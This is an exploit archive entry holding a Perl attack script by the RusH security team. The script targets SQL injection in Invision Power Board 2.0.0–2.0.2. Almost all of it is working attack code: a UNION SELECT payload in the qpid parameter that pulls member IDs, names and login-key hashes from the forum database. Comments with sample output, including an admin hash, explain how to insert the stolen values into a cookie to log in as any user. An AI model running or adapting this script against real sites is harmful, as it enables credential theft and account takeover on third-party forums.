Invision Power Board 2.0.0 < 2.0.2 - SQL Injection

EDB-ID:

648


Author:

RusH

Type:

webapps


Platform:

PHP

Date:

2004-11-22


#!/usr/bin/perl
use IO::Socket;

			      #    #        #    #                                                                                                                                                                                                                                                                                                                                    
			      #   #          #   #                                                                                                                                                                                                                                                                                                                                    
			     #    #          #    #                                                                                                                                                                                                                                                                                                                                   
			     #   ##   ####   ##   #                                                                                                                                                                                                                                                                                                                                   
			    ##   ##  ######  ##   ##                                                                                                                                                                                                                                                                                                                                  
			    ##   ##  ######  ##   ##                                                                                                                                                                                                                                                                                                                                  
			    ##   ##   ####   ##   ##                                                                                                                                                                                                                                                                                                                                  
			    ###   ############   ###                                                                                                                                                                                                                                                                                                                                  
			    ########################                                                                                                                                                                                                                                                                                                                                  
			         ##############                                                                                                                                                                                                                                                                                                                                       
			  ######## ########## #######                                                                                                                                                                                                                                                                                                                                 
			 ###   ##  ##########  ##   ###                                                                                                                                                                                                                                                                                                                               
			 ###   ##  ##########  ##   ###                                                                                                                                                                                                                                                                                                                               
			  ###   #  ##########  #   ###                                                                                                                                                                                                                                                                                                                                
			  ###   ##  ########  ##   ###                                                                                                                                                                                                                                                                                                                                
			   ##    #   ######   #    ##                                                                                                                                                                                                                                                                                                                                 
			    ##   #    ####   #    ##                                                                                                                                                                                                                                                                                                                                  
 			     ##                 ##           

## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
## by RusH security team (www.rst.void.ru)
## coded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example:
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>]    DIR: /IPB202/
## [>]  FORUM: 2
## [>]  TOPIC: 1
## [>]    SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX:
## [>]     ID:
## ------------------------------------------------------------------------------------------------
## 
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
## 
## PREFIX: ibf_
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>]    DIR: /IPB202/
## [>]  FORUM: 2
## [>]  TOPIC: 1
## [>]    SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>]     ID:
## ------------------------------------------------------------------------------------------------
## 
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
## 
## --[ REPORT ]------------------------------------------------------------------------------------
## MEMBER_ID: [1] NAME: [admin] PASS_HASH: [73dea61281aa9b08ed31b4ae2bb9954e]
## ------------------------------------------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## &#1055;&#1072;&#1088;&#1091; &#1089;&#1083;&#1086;&#1074; &#1086; &#1074;&#1086;&#1079;&#1074;&#1088;&#1072;&#1097;&#1072;&#1077;&#1084;&#1086;&#1084; &#1101;&#1082;&#1089;&#1087;&#1083;&#1086;&#1080;&#1090;&#1086;&#1084; &#1088;&#1077;&#1079;&#1091;&#1083;&#1100;&#1090;&#1072;&#1090;&#1077;:
## &#1047;&#1085;&#1072;&#1095;&#1077;&#1085;&#1080;&#1077; pass_hash &#1101;&#1090;&#1086; &#1085;&#1077; &#1079;&#1072;&#1096;&#1080;&#1092;&#1088;&#1086;&#1074;&#1072;&#1085;&#1085;&#1099;&#1081; &#1087;&#1072;&#1088;&#1086;&#1083;&#1100; &#1102;&#1079;&#1077;&#1088;&#1072;!!! &#1072; &#1086;&#1076;&#1085;&#1086;&#1080;&#1084;&#1077;&#1085;&#1085;&#1086;&#1077; &#1079;&#1085;&#1072;&#1095;&#1077;&#1085;&#1080;&#1077; &#1080;&#1079; &#1082;&#1091;&#1082;&#1080;&#1089;&#1072; &#1089;
## &#1087;&#1086;&#1084;&#1086;&#1097;&#1100;&#1102; &#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1075;&#1086; &#1084;&#1086;&#1078;&#1085;&#1086; &#1074;&#1086;&#1081;&#1090;&#1080; &#1085;&#1072; &#1092;&#1086;&#1088;&#1091;&#1084; &#1087;&#1086;&#1076; &#1083;&#1102;&#1073;&#1099;&#1084; &#1102;&#1079;&#1077;&#1088;&#1086;&#1084; &#1073;&#1077;&#1079; &#1074;&#1074;&#1086;&#1076;&#1072; &#1087;&#1072;&#1088;&#1086;&#1083;&#1103;. 
## member_id &#1101;&#1090;&#1086; &#1090;&#1072;&#1082;&#1078;&#1077; &#1086;&#1076;&#1085;&#1086;&#1080;&#1084;&#1077;&#1085;&#1085;&#1086;&#1077; &#1079;&#1085;&#1072;&#1095;&#1077;&#1085;&#1080;&#1077; &#1080;&#1079; &#1082;&#1091;&#1082;&#1080;&#1089;&#1072;.
## &#1055;&#1086;&#1101;&#1090;&#1086;&#1084;&#1091; &#1085;&#1077; &#1089;&#1090;&#1086;&#1080;&#1090; &#1087;&#1099;&#1090;&#1072;&#1090;&#1100;&#1089;&#1103; &#1088;&#1072;&#1089;&#1096;&#1080;&#1092;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; pass_hash =) &#1055;&#1088;&#1086;&#1089;&#1090;&#1086; &#1079;&#1072;&#1088;&#1077;&#1075;&#1080;&#1089;&#1090;&#1088;&#1080;&#1088;&#1091;&#1081;&#1090;&#1077;&#1089;&#1100; &#1085;&#1072; &#1092;&#1086;&#1088;&#1091;&#1084;&#1077; &#1080; &#1080;&#1079;&#1084;&#1077;&#1085;&#1080;&#1090;&#1077;
## pass_hash &#1080; member_id &#1074; &#1074;&#1072;&#1096;&#1077;&#1084; cookie &#1085;&#1072; &#1086;&#1076;&#1085;&#1086; &#1080;&#1079; &#1079;&#1085;&#1072;&#1095;&#1077;&#1085;&#1080;&#1081; &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1074;&#1099;&#1076;&#1072;&#1089;&#1090; &#1089;&#1087;&#1083;&#1086;&#1080;&#1090;.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


if (@ARGV < 5)
{
print "-------------------------------------------------------------------------\r\n";
print "       Invision Power Board v2.0.0 - 2.0.2 sql injection exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "usage:\r\n";
print "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]\r\n\r\n";
print "SERVER         - server where IPB installed\r\n";
print "/DIR/          - IPB directory or / for no directory\r\n";
print "FORUM_NUM      - number of existing forum\r\n";
print "TOPIC_NUM      - number of existing topic\r\n";
print "SID            - your session id\r\n";
print "[TABLE_PREFIX] - table prefix in database\r\n";
print "[USER_ID]      - user id for exploiting\r\n\r\n"; 
print "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

if (@ARGV < 6) { $get_table = 1; }

$server = $ARGV[0];
$dir    = $ARGV[1];
$fnum   = $ARGV[2];
$tnum   = $ARGV[3];
$sid    = $ARGV[4];
$prefix = $ARGV[5];
$id     = $ARGV[6];

print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>]    DIR: $dir\r\n";
print "[>]  FORUM: $fnum\r\n";
print "[>]  TOPIC: $tnum\r\n";
print "[>]    SID: $sid\r\n";
print "[>] PREFIX: $prefix\r\n";
print "[>]     ID: $id\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";

$server =~ s/(http:\/\/)//eg;

$path  = $dir;
$path .= "index.php?s=";
$path .= $sid;
$path .= "&act=Post&CODE=02&f=";
$path .= $fnum;
$path .= "&t=";
$path .= $tnum;
if ($get_table == 1) 
 {
 $path .= "&qpid=r57"
 }
else
 {
$path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),member_login_key),1,1,1,1,1,1,1,1,1%20from%20";
$path .= $prefix;
$path .= "members";
$path .= ($id)?("%20WHERE%20id=$id%20"):("%20");
$path .= "/*";
 }
print "[~] PREPARE TO CONNECT...\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";

print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";                                                                                                                                                          
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";

$suc =0;

if ($get_table == 1)
 {
 while ($answer = <$socket>)
  {
  if ($answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print "PREFIX: $4\r\n"; $suc = 1; }
  }
 if (!$suc) { print "Exploit failed\r\n"; }
 exit();
 }

print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{
 if ($answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/) { print "MEMBER_ID: [$1] NAME: [$2] PASS_HASH: [$3]\r\n"; $suc = 1; }
}
print "------------------------------------------------------------------------------------------------\r\n";
if ($suc == 1) { print "Now you need edit cookie and insert new pass_hash and member_id values.\r\n"; exit(); }
else { print "Exploit failed\r\n"; }



# milw0rm.com [2004-11-22]